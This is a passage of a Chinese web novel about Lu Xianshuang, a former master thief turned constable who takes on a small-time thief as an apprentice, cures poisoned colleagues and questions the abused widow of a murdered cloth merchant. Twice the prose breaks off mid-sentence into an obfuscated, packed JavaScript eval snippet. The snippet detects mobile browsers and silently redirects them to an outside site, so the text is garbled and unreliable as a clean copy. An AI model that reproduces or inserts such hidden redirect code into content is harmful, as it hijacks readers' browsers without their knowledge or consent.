一百两,要么,失主不是恶人,或者不够恶,同时也不够有钱,院内防卫不够,才能让陆鹏得手。 要么,这钱根本就不是什么买命钱,而是他从前偷老百姓或者小有钱人家攒下来的。 陆衔霜到底从小尸山血海里走过的人,一旦认真起来眼神格外迫人,看了他几眼发现没意思,一口一口喝着凉掉的混沌,吃的喷香。 陆鹏则吓的吃不下饭,尤其在她好像什么都发生过一样,他俩就是正常的吃饭状态下,更是坐立不安,在陆衔霜吃掉最后一个混沌之后,把自己面前的混沌和烧饼推过去,小心翼翼:“您再来点不?” “那钱从哪来的?”陆衔霜摇头,擦手的空挡随意看了他一眼。 陆鹏正襟危坐,丝毫不敢隐瞒:“那钱是从城东有缘布业的东家贾连城?借的,他本来是赘婿,结果吞了老丈人的家产之后虐待发妻,我这才朝他下手。” “这事儿你怎么知道?”陆衔霜从原主记忆中还真知道城东有缘布业的两口子,在外感情经营的不错,陆鹏一个小绺寻常偷不到这个级别的生意人身上去,也不可能有交集,这么私密的事情,他不会是道听途说吧。 “那个老东西的小妾以前是我相好。” “噗~”陆鹏扭扭捏捏小声说道,陆衔霜一时没忍住嘴里的酒喷出来,两眼放光,满是八卦:“真的?” “嗯,我相好以前是醉红楼的头牌,后来被那老东西赎了回去。” “醉红楼的头牌能是你相好?”陆衔霜不信。 “她……桃花以前是我邻居,后来她娘没了,娶了后娘,有了后爹和弟弟,这个世道你也知道,就那样了呗。”陆鹏不愿意叫她的花名,停顿一下还是叫回从前的名字。 他想起自己第一次偷银子被揍,好不容易掏出来,满脸是血拿钱去看桃花的时候,那个时候真年轻啊,还有力气幻想以后能够带她脱离苦海。 “一百两拿少了。”恶人是恶,就是买命钱太少。 陆鹏脸色扭曲一瞬,“大人,我本事不够,就这儿还是在他府里凑得。”他真没那个本事去人家私库就跟回家似得。 逛皇宫都跟进自家后花园似得,陆衔霜表示小子你还得练。“行吧”陆衔霜从褡裢里取出七个银锭子扔回去,看见陆鹏手忙脚乱捡的时候眯着眼十分嫌弃:“你的手会不会跟着脑子一起动,快一点,你抖什么抖。” “是,师父。” “先别着急改口,等会把银子给被你顺布头的婆婆家送过去,然后凭自己本事再缝一个。”陆衔霜表示拜师仪轨还没完成,压根不算。 但陆鹏很兴奋就是了,反正没拒绝就是答应,只要自己把百纳囊完成好,就可以拜师了。 陆衔霜冷笑,想的真简单,就算仪轨完成,还有入门考核,真进盗门简单呢? 看他乐呵的样子也懒得泼冷水,反正到时候就知道了,解决一桩心事,陆鹏终于有心思吃饭,一大勺馄饨带着汤,再咬一口凉掉依然酥脆的烧饼。 陆衔霜又叫了一碗酒喝,最后陆鹏付了钱跟在她身后往家里送,“您这院子,下雨会漏水,我找兄弟给您修整修整行吗?” “明儿个我上职之前你带人过来。”陆鹏连连点头,陆衔霜也不介意再多叮嘱一句:“盗门和偷不同,我们拿的多,却也不缺良心,你那点手艺简直不能看,回去多练练吧。” 陆鹏连连点头,表示等会把银子还了,回去就练,之后又再三和陆衔霜说明明早会带早饭来,让她别着急,之后看着陆衔霜院子里灯灭了才离开。 上层社会讲道德,下层社会看规矩。 下九流拜师不同于那些有钱人家讲究利益捆绑,姻亲互助之类的关系,就是两个字儿——夹磨。 夹磨是江湖中人把师父管教徒弟本领叫做夹磨,夹磨这两个字分开来看都知道不好,合在一起更是磋磨人。 但是没办法,这年头谁有个手艺不藏着掖着,教会徒弟饿死师父的事情屡见不鲜,那群官老爷提拔了学生之后双方之间为名声所累不会翻脸,互相结为一党。 但是下九流?不好意思,翻身捅一刀是常事,侍奉师父要比侍奉父母还要精细,就这也不可能一进门就教真本事,得熬着。 前几年光是洗衣做饭收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆鹏曾经就是这样被哄骗成了小绺,先带着自己吃喝玩乐,之后再露一手,彻底离不开,手艺没学多少,打也挨了很多,但钱还得上贡,对亏那老头死的早,才让他喘了一口气。 第二天一早,陆衔霜刚开门,就看见陆鹏老老实实带着几个壮汉站在门口,看她一出来,连忙拎着早餐奉承:“您醒来啦,早饭您看吃点什么,昨儿个您吩咐我的事情已经办妥了,就是那百纳囊还得等几日。”他手艺是真的不行,要想一次成功,免不了在家里多练练手。 周围邻居偷偷把门口打开一条缝偷看,有那热心肠的已经悄悄拎着扫帚等在门口,万一有事方便马上冲出来。 如果不是院子太破,陆衔霜也不乐意让周围邻居收到惊吓,看着一个个打开一条缝的院门,她冲着陆鹏扬声吩咐:“屋顶漏水索性都修一遍。” 说着带人往院子里走去,院子里四间房,不算小,自从养父母去世之后,陆衔霜就住到了正房,矮矮的院墙上被爬山虎包裹,没有任何防护措施,陆鹏刚要问问要不要往院墙上埋点尖锐的石子,就听到随着他脚步往前,不断有铃铛声传来,“这……” “你看,你刚进院子就已经被我发现了,而你连我的防守方式是什么都不知道。”陆衔霜很不满意,虽然陆鹏很有眼光值得赞赏,但他真就是一个普普通通平平淡淡的小绺,别说盗圣神偷,他连个中等都算不上。 陆鹏傻眼了,从未来师父眼里清晰的看到嫌弃,挥手让身后兄弟们暂停,急忙左顾右盼,终于在两侧墙边的几颗杏子树上,和院门、石桌石凳,再到门窗上交织缠绕着数不清的肉眼不仔细观察根本看不到的细丝。 他蹲下身轻轻触碰,细丝应声而断,“这是蜘蛛丝?”陆鹏这么一喊,他身后那些混子也凑过来看,再看向陆衔霜的时候,比之前还要敬佩。 神人。 大家每天在社会上混,来之前还以为是鹏哥的相好,结果被他揍了一顿之后才知道是师父,师父是个女的就算了,还是个小姑娘,衙门刚上任的陆捕快,道上消息灵通的谁不知道,路上还嘲笑鹏哥春心萌动装模作样,现在才知道是真的有本事。 就在他们蹲在地上看稀奇的时候,陆衔霜悄无声息走过来,钉骨针抵在陆鹏脖子上,“你看,又不警惕,算了,干活去吧。”嫌弃转身去石桌上吃早饭,陆鹏则和他的小弟兄们后背升起一层汗:她真的没杀过人吗? 陆衔霜吃完饭去衙门当值,晨光刚染红衙门口的鸣冤鼓,靴尖就僵在了石阶上。柳婆婆枯藤似的手从牌坊后闪电般探出,那朵足有海碗大的绢制红花没给她一点准备,“啪”地糊在她交领窄袖衣上。 “使不得!”陆衔霜瞳孔一缩就要去扯红绸带的手被婆婆铁钳般扣住,围观卖炊饼的王麻子不嫌事儿大的突然嚎了一嗓子:“陆捕快前两日只虚一眼就找到小偷是谁,可不就是火眼金睛!” 陆衔霜……我那是经验之谈! 她挣扎不开,又怕伤了柳婆婆,柳婆婆把绳结勒进她锁骨,枯发里插的桃木簪簌簌掉香灰。人群里钻出个戴斗笠的货郎胡说八道:“听说前儿个那是个盗圣,就这么栽您手里啦?” 谣言就是这么来的,一个普通小绺咋就成了盗圣呢。 盗圣本圣盯着自己胸前那团红得像凶案现场的山茶花生无可恋,余光瞥见衙门廊柱后探出好几张的脸——昨天还围在自己身边好话不要钱的同僚们,现在正笑着看热闹。 她罗帽下的青筋突突直跳:“柳嬷嬷,我就是做了该做的,你实在没必要……” “哎呦喂!”货郎那张破嘴突然指着她腰间惊叫,“您这做了好事儿怎么还害羞呢,怎的把锁链套自己手腕上了?”人群爆发出更热烈的欢呼,谁都没看见陆衔霜捏碎的炊饼渣正从她指缝簌簌落下,记仇小本本上给卖货郎添了一笔。 6. 第 6 章 好不容易把柳婆婆送回家,陆衔霜臊着一张脸刚进衙门,就对上满院子笑的蹲在地上直不起腰的家伙,这群看热闹不嫌事大的家伙,刚才没有一个人出来帮忙。 她咬牙切齿,决定今天给他们扎针的时候好好找穴位,不一会,衙门上到谢清晏,下到门子,全都嚎着嗓子歇斯底里。 “该!” 杜七杀抿着嘴跟在陆衔霜身后往崔青锋房间走去,他一路上和陆衔霜汇报昨晚的情况:“昨晚你离开之后差不多一个时辰,大人和梅花先后发起高热,我给他们煎好你留下的药,喝了半个时候之内吐血三次,折腾一晚上今早才睡着,烧退下去了,脸色也好看不少。” 说着两人已经进屋,杜七杀有些担心:“排毒之后大人和梅花醒来一次,为何大人吃不下饭,梅花则连着吃了好些东西才睡过去。”未免大人丢脸,他掩下崔青锋梦中嚎啕大哭的事情。 这人从前没见过,但亦步亦趋跟在崔青锋身后口称大人,反而叫谢清晏谢大人,此人脚步稳健轻盈,呼吸绵长细腻有力,亲卫。 但是以崔青锋的穿戴,他怎么有钱养亲卫的。 陆衔霜三指搭在金线上悬空诊脉,总感觉自己忘了点什么,很快又被脉象吸引,左寸脉弦细如刃,右关脉沉涩似絮。 片刻后眯着眼看了他一眼,玩味一笑,起身扒拉崔青锋的眼睛,发现他胞浮肿如卧蚕,白睛血络纵横,。 杜七杀有点尴尬的看向窗外,准备抬脚出去,就听到陆衔霜这个女魔头张口就来:“崔捕头肝气郁结,肺金失宣,昨夜必是号泣过甚,数次万分悲伤,有自戕之兆。” “你,你怎么知道!”大惊这下杜七杀都结巴起来,不一会又着急的不行,上前两步紧紧抓住陆衔霜的胳膊就是一叠叠询问:“那大人有没有事,为什么他和梅花中毒后的反应一点都不一样。” 杜七杀差不多三多岁的年纪,体格子没有梅花那么魁梧,陆衔霜昨天给他缝合伤口的时候看见没有一丝赘肉的胸膛,如果割开皮肉的话,肉质一定非常紧实。 他像一条衷心的狗,没有说够不好的意思,也没有说杜七杀不好的意思,只是他从头到尾目光都停在崔青锋身上,让陆衔霜不由得好奇两人究竟有过怎样的过往。 陆衔霜指尖夹着金针,在事先让杜七杀准备好的几个碗中,按照先后顺序在碗中轻沾毒血闻了闻,之后又叫杜七杀把油灯拿过来在火上烤,待闻到一股腐烂中带着幽香的气味之后眼睛一亮,反手将带着毒血的金针扎入指尖。 这一幕吓得杜七杀直接跳了起来,声音都劈了叉:“陆衔霜你快住手!”大夫都中毒就玩完了,昨天陆衔霜走之前他也不是没找过别的大夫,别说治疗了,就是见都没见过,都在暗示他准备后事吧。 昨日刚把信送完望月台,一来一回等历大人派医者过来,黄花菜都凉了。 刚才她把毒血在火上烤,杜七杀挨得近吸进去一些,眼前刚闪过两道身影,鼻子一酸还没来得及悲伤,紧接着就被她大胆的动作吓得一个激灵,神色清明起来。 杜七杀情急之下凑得非常近,脸都快要贴在陆衔霜脸上,呼吸在头顶,烦的她当即一巴掌把人拍开:“呱噪。” 被抽了,杜七杀本能要动手,又在关键时刻停住,“嗷!”可惜陆衔霜没给他收手的机会,金针已经扎在手背上,“我也要中毒了!”金针明明都染过毒血,杜七杀捂着胸口感觉呼吸不顺。 “别装了,这跟金针没捧过毒血。”陆衔霜把金针抽出来,在他没反应过来的时候又在掌心炸出一个血洞:“好了,和你们大人同甘共苦,朱砂痣红点。” 连着挨了两下,杜七杀抖了抖眼皮后退,和她拉开距离,脑子一直回想之前陆衔霜手里的动作,怎么都想不通她从哪里拿的干净金针,怎么跟个小偷似得,手法真快。 陆衔霜还不知道杜七杀猜到自己的真实身份,正在为自己两次精准扎到他的行为得意洋洋。 杜七杀在原地急的团团转,硬是眼睁睁看着陆衔霜把十根指头按照先后顺序将毒血从浓到淡全部炸了一遍。 然后眼睁睁看到她掌心升起朱砂痣红点,一根头发丝粗细的黑线以肉眼可见的速度快速向上手腕蔓延,很快被衣袖挡住去路,“不是,你能不能正经点,赶紧看看!” 想上手,又怕她误会,然后再给自己一针,想到那个可能性,杜七杀转身就要走,听到身后传来问候:“你干嘛去?” “找谢大人管管你!”她的行事作风怎么看都不像个正经大夫,正是求人的时候,武力不能压制,只好从官场入手。 “嘶,完了,谢大人的针还没拔。”陆衔霜总感觉自己忘了点什么,被他一说,终于想起来是什么,再扎下去谢大人今年身体会有点力不从心! 一阵风从杜七杀身边略过,快速朝着谢大人办公的地方跑去。 杜七杀突然也想起哪里不对劲,在后面狂追不止,扯着嗓子大喊:“你别跑,小心毒素入心。”还没给大人解毒,你可千万不能死啊。 大人和梅花都是说话之后毒素加速的,怎么她都跑的那么快了,还是一点事儿没有。 就说她不是个正经大夫,她还不高兴。 两人一前一后跑到大堂,杜七杀这次受伤不轻,等他手撑在腰间站在门口大喘气的时候,正好全程见识了一番陆衔霜的无影手,这家伙以前该不是个偷吧,手咋能这么快呢。 他气还没喘匀,陆衔霜又一溜烟没影,去给别的捕快和衙役拔针。 只留下谢清晏和杜七杀面面相觑,“她……” “谢大人你快管管她吧,胆子太大,沾了我们大人吐出来血的金针直接往自己手上扎,毒线唰的一下就蔓延到手腕上,她还跑……” “你说什么?”杜七杀话还没说完,谢清晏猛地起身,一时没站稳,眼前一片漆黑,晃了晃才好悬没跌倒,和杜七杀一起往院子里走。 他俩刚到,陆衔霜已经把大家身上的针都收起来,看都没看他俩一眼,有一阵风似得回去崔青锋房间。 围观众人……她上辈子莫不是个猴? 等杜七杀和谢清晏气喘吁吁回来的时候,她已经双手并用,把崔青锋和梅花扎成刺猬。 至于她自己,一点事没有。 刚把最近一根金针扎进去,被谢清晏和杜七杀强行掀起衣袖,入目一根白白嫩嫩的胳膊,干净的连一颗黑痣都没有。 谢清晏转头看向杜七杀,眼神莫名。 “不是,刚才真的有,我亲眼所见,你看她指头上伤口还……”杜七杀的话在看到陆衔霜光洁如新的指头时戛然而止,猛地看向她,眼里是对自己深深地怀疑。 整个人脱力放下她的胳膊后退一步,神情恍惚,自己是不是病了。 谢清晏手放在他额头上,这也没发烧啊。 只听陆衔霜没好气把他俩往旁边推,“你要不要看看昨天的伤口?”真当她鬼医的名头白当呢,虽然传承了亲亲娘亲半吊子的医术,但在这个相对平和的大盛朝,她也是属于顶尖的那一批,区区金疮药罢了,有什么稀奇。 杜七杀恍恍惚惚掀开衣襟,在看到昨天还皮肉外翻血肉模糊的伤口结痂掉落,只剩一层粉红色的疤痕,按照这个速度,过不了几天就会恢复如常。 “这,这,这怎么回事?”他结结巴巴一句话都说不完整,现在再看见陆衔霜得意的笑脸一点都不觉得他不正经,这哪里是不正经,分明是高人的姿态呀,有本事的人都这样。 杜七杀惊讶佩服的眼神成功取悦陆衔霜,她双手叉腰仰天长笑,身边不时传来杜七杀的马屁声,两人前所未有的相处融洽,一点没看到角落里谢清晏看陆衔霜的眼神奇货可居四个字快要溢出来了。 “那你身上的毒是怎么回事?” “我自然有我的解毒方法,但你还记不记我之前说过。” “什么?”杜七杀满是疑惑。 “阎罗路引以葬尸地生长的血影蕈为主料,混入被诅咒的金砂研磨成粉。”陆衔霜指了指桌上一堆乘着毒血的碗,“血影蕈的毒我已经解了,但是诅咒这个东西我不相信,对方应该是用了一种生长在血影蕈周围的一种叫双头血影毒蛇的毒液混入金砂中,让人沉迷在年少的痛苦中不能自拔,直到死亡。” 陆衔霜才不信诅咒报应,真有这玩意儿,大禄朝的百姓早就把皇帝老儿和那群贪官们诅咒的进了地狱,他们还不是什么事情都没有。 “我让人去找双头血影。”谢清晏吹了一声口哨,窗外很快进来一个长相平平无奇的青年男子,让人见过就忘。 这人是暗卫,大爷的,谢清晏的来头更大了,陆衔霜表示自己想跑。 一抬头对上谢清晏那双笑眯眯似乎看透自己内心的眼睛,暗骂一声晦气,就听见对方询问:“路捕头,那双头血影可有什么特征?” “啧,笑面虎。”陆衔霜小声嘀咕,示意他们等一会,赶紧到旁边衙门拨给自己加班住的院子里挑挑拣拣一番,做成两个荷包递给那人。 “红色的这个可以引出双头血影,顾名思义,那玩意通体红色两个头。蓝色的那个是以防万一,现在正是双头血影蛇群产卵□□的季节,万一你遇到大量的蛇,什么都不要管,把荷包撒到自己身上,屏住呼吸赶紧跑。” 男子想什么自己可以,被陆衔霜提前打断:“我不管你是暗卫还是死士,你都不可能在这种蛇群中活着回来,死亡没有意义,大不了我去一趟,崔青锋的毒素能够压制四十七日。” 男子看向谢清晏,谢清晏点头:“就按照陆衔霜说的办,活着回来。”说完转身离开,临走之前看了陆衔霜一眼,等他走了陆衔霜和杜七杀嘀咕:“不是,他刚才什么眼神,是不是鄙视我来着?” 杜七杀现在就是她的忠实迷弟,没口子吹捧:“在你的心地善良的对比之下,谢清晏那是心虚、羞愧、羞愤不已!” 越说越起劲,到最后干脆贬低谢清晏抬高陆衔霜,两个人仰天大笑,直到门口传来一声咳嗽,顿时僵在原地,互相看向对方,然后同时挤出一个难看的笑,再转头的时候表情立马变得谄媚无比:“谢大人~” 小声儿挺甜,几码加了一碗蜜。 谢清晏睨了他俩一眼,反复告诉自己气出病来无人替,缓缓吐出一口气,“有命案,陆捕快请吧。” 崔青锋现在还昏迷着,他的院子里除了少数的几个人谁也进不来,他也没想到自己当一次跑腿,竟然还有意外收获。 一听有案子,陆衔霜眼睛唰的一下亮起来,小跑着到门口,正好见陈明在等着自己:“陈叔,哪出事儿了?” “三天前城外发现一具尸体,今天终于确定是城东有缘布庄的东家贾连城,这不,去他家问问情况。” “贾连城?”陆衔霜猛地睁大,扭头看向陈明的时候动作过快,脖子直接咔吧扭了一下。 “你认识他,怎么这么惊讶?” 陆衔霜……何止认识,我家里现在还有从他家偷得银子呢。 可是不对呀,三天前正好是自己来到这个地方的时候,当天出门碰到陆鹏,陆鹏第二天去贾连城家“借”替罪钱,他怎么会看到一个已经死了的人呢。 陆衔霜和陈明走在街上,一股风吹来,富安府九月的风还带着暖意,却在路过她的时候骤然变凉,陆衔霜背后升起一股冷汗,一瞬间街道喧闹消失。 陆鹏碰到的贾连城是谁,还是他说了谎? 这个时候也不能把陆鹏供出来,陆衔霜心地骂骂咧咧扯出一抹笑:“我是听说过他的名字,那么大一个商人,别是被抢劫了吧?” “那谁知道,男人嘛,玩的话,大侄女你要记住,以后找男人要么找位高权重能给你权势的,要么找能拿捏家里银钱的,其他什么都是虚的。” 陈明意有所指的话让陆衔霜一愣,“陈叔,我听你话里的意思,是知道点啥?” 寻常人,就像从前的陆衔霜一样,只听过有缘布庄的东家和夫人感情颇深,她之前没有一次为借口,也是不想那位夫人身上凭空多些嫌疑,可现在听陈明的话,怎么好像知道这事儿的人不少。 最关键的是,人家感情好不好,你们外人咋知道的呢。 陆衔霜不解极了,陈明没好气,“那青楼谁都能去,经常有人能碰见他,男人嘛,就算在那地方碰到,还能和家里的婆娘说自己碰到了?” “那陈叔你……” “你可别和你婶子瞎说啊,我清清白白,都是听衙门其他人说的。” “哦~”陆衔霜两手一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860641|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊,表示自己不相信。 急的陈明抓耳挠腮团团转,最后才不逗他:“好啦陈叔,我知道你每个月的月俸都在婶子那,想去也没有机会。” “我不想去!”陈明再三表态,陆衔霜表示她回头会和婶子好好夸奖,之后被陈明眼睛撅了,才终于消停。 两人一路到贾连城的家门口,这一片都是富商的聚集地,刚拐进这条街,就听不到任何喧嚣,仿佛和之前路过的街道是两个截然不然的世界、 贾连城继承了岳父的财产,很是阔绰,虽说是三进的院子,但每个跨院都比旁人家大了不少,平民百姓的院子最多只能有三进,很多不缺钱的商人就将跨院无限扩大,从规矩上跳不出什么毛病。 陈明上前敲门,大门微微张开一条缝,门房从里面露出一个头,上下扫视他们一眼,十分警惕:“你们找谁?” 陈明和陆衔霜从暗处走出来,身上捕快的衣服十分明显,“府衙办案,贾连城可在家?”陈明说着把腰牌递上去。 门房认真看了两眼,确定是捕快之后,带着人往院子里走去。 边走边回答陈明的话:“老爷已经好几天没回家了。” “哦?”陈明和陆衔霜对视一眼,门房说好几天没回来,那么就不止三天,失踪这么长时间没人报案吗,而且也没人着急,那生意谁来管。 “具体几天?”陈明对于模棱两可的回答显然十分不满意。 “回大人,小的真的不知道,我们门房也不是每天一个人在,经常轮班,反正在我这儿已经好久没有见过老爷了。” “贾连城平时经常不在家吗?”陈明边走边问,一路上门房额角汗珠滴落,显然十分紧张,咽了咽口水,刚要说什么,贾连城的夫人已经提前听到通传,穿了一身可以待客的衣服出来相迎。 贾家正房外面种了好些石榴和桃树,现在正是果子成熟的好时节,沉甸甸的果实将枝条压成朱红的弧线,有些熟透的果皮已然绽开,露出晶莹如红宝石般的籽粒,在阳光下泛着蜜糖般的光泽。 桃子粉白的果实簇拥在青翠叶间,向阳那面晕染着胭脂色的霞晕,偶有被鸟雀啄破的桃子渗出琥珀色的汁液,甜香混着青草气息被风吹进鼻孔,平添多了几份口水。 这样美好的景致下,站着一个眼神疲惫却依旧难掩风姿的夫人,陆衔霜和陈明莫名有些张不开嘴。 “蒹葭苍苍,白露为霜,所谓伊人,在水一方!”屋内传来几声孩童晴朗的读书声,陆衔霜一愣,扭头看向陈明,眼神示意:陈叔,没听说他家有孩子呐。 对面的女人仿佛看出他们两个眼神中的意思,笑了一下不当回事,“都是我的孩子。”所有的孩子都是主母的孩子。 陆衔霜站在门口往里看了一眼,几个大小不一的孩子正抱着诗经大声朗诵,每个人身边都陪着一个年轻貌美的小娘子,如果不知道这是贾连城的内宅,她都要拍手叫好大家气氛融洽了。 “贾……我该怎么称呼你呢?”三人在院子里说话,这一刻陆衔霜莫名不想给这个妇人冠上贾连城的姓氏。 “我叫叶蓁。”妇人靠在院子里的树上,等下人把茶水点心端上来之后,她神色淡漠,“您有话直说便是,事到如今没有什么受不住的。” “贾连城死了。”陈明说话太快,陆衔霜都没反应过来,比叶蓁还激动的眼神看过去:一点都不铺垫直接说啊? 陈明一愣,他们办案一直这样啊。 看到他俩眉眼关系,叶蓁没忍住笑出声,视线在陆衔霜身上停留几息,“这位大人还是个孩子呢,死就死了呗,这有什么不好说的。” 陆衔霜一怔,“你不难过吗?”她曾经听说贾连城和他夫人感情十分好来着,就算兰因絮果,但死讯传来,不是应该百感交集嘛。 她从前见识过不少江湖上的爱恨情仇,不管之间闹得有多难看,但是其中一个人的死讯在江湖上穿出来的时候,另外一个肯定要为曾经的相好做一番事业,要不是偷了贪官的钱以对方的名义赈灾,要不就前去替对方报仇,反正轰轰烈烈,十分热闹。 叶蓁认真观察陆衔霜好半天,“你实在不像一个官差。”对上她不解的小眼神,不由得发笑:“像话本子里面仗剑走天涯的女侠。人生并没有话本子里面描写的那样感情充沛,再多的爱恨也会被时间磨平棱角,有爱才会有恨,没爱就只剩下厌恶。这个时候我听到他的喜讯,只会松一口。” 她掀起袖子,露出手臂密密麻麻、纵横交错,深浅不一的伤痕,有经年累月的,也有最近时候的。 恐怖狰狞的胳膊在树下晃得人眼睛疼,疲倦的妇人如释重负,陆衔霜看到这一幕觉得好讽刺。 石榴寓意多子多福,桃树更是灼灼其华,桃之夭夭,灼灼其华。之子于归,宜其室家。 这么美满的爱情,背地里却是一地鸡毛。 破了皮的桃子在枝丫上摇摇晃晃,就像叶蓁如履薄冰的人生。 这个话题对陆衔霜来说实在有些难度,她喝茶掩饰尴尬,把场地留给陈明。 陈明一本一眼开始询问:“你好像并不好奇贾连城的死亡?” 自从走进院子他就觉得不太对,突然询问也是想要打她个措手不及,一直在全程观察,叶蓁除了眼皮抖了一下之外,并没有任何情绪出现。 她好像早就知道贾连城死亡,要不然她为何要掀起胳膊上的伤口,那些伤口存在经年累月之久,这么干脆的掀开袖子,倒不像曾经以往若无其事的样子。 “这位差爷是想说我早就知道,或许我还有嫌疑,现在的表现在示弱。” 陈明一噎,陆衔霜满脸不解,只听到叶蓁缓缓继续:“吃喝嫖赌,但凡沾上这个东西的人,迟早都要死,从一开始我就知道他的下场,也一直在等这一天,有什么值得惊讶吗?” “你知道他去青楼?” “不止呢,我还知道他赌博。只是可惜呐,纵然他贾连城在外再是一副贾老爷的模样,外人也以布庄东家贾老板称呼他,可家里的大部分产业银钱,还是在我手里。没银子还钱,可不是得赔命么。” 叶蓁笑的一脸猖狂,屋内孩童听到动静纷纷跑出来,叫嚷着母亲一头扎进她怀里,叶蓁飞快抹掉嘴角的泪花,抱着孩子们一脸满足。 7. 第 7 章 “他们和你很亲密。”陆衔霜看着眼前的场景没忍住说了一句。 叶蓁摸着孩子的头,答应他们明天出去玩耍,温声把孩子们哄进去,才苦笑一声:“女人这辈子不就是丈夫和孩子么,丈夫有等于没有,再没有个孩子,这日子得多么难捱。” 从前她作为富商的独女,在闺中时候自然有畅快日子过,但随着父亲年岁渐长,逐渐不满意膝下没有儿子继承香火,开始把注意打到招赘上面。 但自古以来能当赘婿的男人有几个好东西,原配又有几个好下场。 叶蓁不明白,既然如此,为什么不培养自己,不管闺女还是儿子,最起码是自己亲生血脉,一个女婿半个儿更加值得信任吗? 她不明白,没有儿子的男人就像在太监面前讨论去青楼一样令人跳脚破防,叶父打定主意给她招赘,无论叶蓁怎么闹也没有丝毫作用,她唯一能做的就是在叶父给出的人中挑选出她最能接受的那个。 她选择了贾连城,一个平平无奇,看上去老实忠厚的男人。 叶蓁坐在树下看桃树,自从他们进来之后脸上头一次露出怅然,“他是个很老实的男人,被寡母抚养长大,根本师父学木匠手艺,一把年纪娶不起老婆,干脆入赘到我家。” 还没成亲之前贾连城还很好,每日下了工就往她家来,尽管没什么钱,但每次都不空着手,不是一把路边摘得野花,就是去山里摘得果子,再不然是他老娘绣的帕子,从没有落下。 叶蓁也曾少女怀春过,挣扎不过想着如果是个良人,就次认命好好过寻常日子就也算了。 成亲之后两人也有过一段时间琴瑟和鸣的日子,从什么时候开始变得呢? 叶蓁回忆不起来,从前的一切好像蒙在雾里,任她怎么挣扎也看不清楚究竟。 大概是贾连城跟着父亲接手家业的时候吧,或许更早,在自己选中他当赘婿的那一刻。 男人总认为在贫穷时期为金钱娶的妻子是他舍了尊严换来的,所以在有了金钱之后就用金钱去买别人的尊严,这就是为什么家里很多花魁的缘故。 叶蓁有些茫然,问陈明:“陈捕快,你说如果我当初选择的是别人,今时今日会不会好过一点?” 陈明摇头:“你的命运自从叶老爷要给你招赘的时候就已经定下来了,除非……”后面的话他有点没法说,但男人确实是这么想的,除非她把所有家产举手奉上,然后跪地如狗彘一般摇尾乞怜。 运气好的话,能够一直稳稳当当做一个当家主母,当然了,任何情况下,男人都会从别的弱势女子身上找回曾经“被迫放弃”的“尊严”。 老实的儿子搭配孤寡的母亲,这个组合实在令人玩味,以贾连城后来的所作所为,要么他的老实是装的,要么他的寡母性子泼辣。 陈明作为男人,还能不懂这里头的官司? 这年头民间讲究的是媳妇熬成婆,年轻的时候受的委屈,要在自己成为婆母之后从儿媳妇身上讨回来。 通常这种情况是把媳妇娶回家的情况,赘婿的寡母在有其他兄弟的情况下交由兄弟抚养,就由宗族公田3赡养,反正在男子入赘的那一刻起,他就和原生家庭再没有瓜葛。 据他所知贾连城和寡母是外地来的,没有宗族可依靠,那么只剩下最后一种可能——由女方家接纳,允许赘婿将寡母接至家中居住,但需承担额外劳动力。或者定期提供钱粮,但寡母独居原宅。 贾连城被寡母抚养长大,养儿防老,陈明不惮以最坏的恶意揣测这娘俩,在贾母只有一个儿子的情况下为什么会同意他入赘。 叶蓁为什么又会选择这样一个人做赘婿,难道只是因为他老实吗? “三天前你在哪?”陈明让陆衔霜去询问丫鬟小厮,立马略过无意义的寒暄直奔主题,他有种自从进门开始就被叶蓁牵着鼻子走的感觉,再这么下去还不知道要耽搁多久。 “在家,证人都是我的丫鬟,至于为什么没有别人。”叶蓁掀起衣袖,露出最新的伤疤位置,将将结疤,算起来差不多是三天的时候。 接着缓缓转身,松开头发,露出后脑勺一个茶杯一般大的伤口,“他将我推倒在地磕在椅子上,我第二天早晨才醒来。”伤口现在依旧泛着红肿青紫,时间上完全造不了假。 “三天前他喝醉回来问我要钱。”叶蓁也没想到自己有一天能这么平静地复述那些令她感到屈辱的过往,扯出一个相当讽刺的笑:“这个世界上就是有这种人,明明之前还一穷二白,吃个肉包子都得再三思量,突然暴富之后就不把银子当银子了,原先一枚铜板掰成两半花,现在二两银子扔到水里眼睛都不眨一下。” 贾连城从小就是过的苦日子,刚成亲前几年的时候叶父还在,他这个女婿日夜侍奉老丈人,叶蓁作为妻子见他的时间还没有她爹多。 “贾连城可真是一朝龙在天,凡土脚下泥,自从我爹走了之后,葬礼第二天他就不装了,一顿饭没有十七八道菜人家都看不上眼,天气热吃不下去饭,放着臭了看着也心情高兴。”说起这事儿,叶蓁眼底克制不住的嫌恶,和这种人搭上关系对她来说都是一种侮辱。 “他从什么时候开始赌的?”陈明问叶蓁,赌博这个东西通常先是被人带着玩,俗称组局,大盛朝禁止赌博,虽说这玩意儿不可能完全禁制,但是明面上是没有的,想要入门,总得有个人带着去吧。 叶蓁笑了,仿佛他在问什么废话,“大人,吃喝嫖赌这四个字连在一起肯定有一定的道理,我不知道,但本性大概如此吧,青楼楚馆,饭店酒馆,左不过这些地方。” “你怎么没想要个孩子?” 有些话说出来她觉得脏了自己的嘴,前脚父亲刚去世,当晚贾连城就能被奉承着去青楼喝酒,他说没别的,呵,狗都不信。 虽然家里这些姨娘从前的行当大家都心照不宣,但在楼里伺候人,和回来只伺候一个还是有区别的。 叶蓁明白这年头女人家日子不好过,既然都是苦命人,大家凑在一起好好过日子也就算了,但恕她实在接受不来和那么一个荤素不忌的人生孩子。 她指了指屋里头朗朗读书声:“您瞧,不用受疼,我也可以做母亲,又何必自己去冒险。” 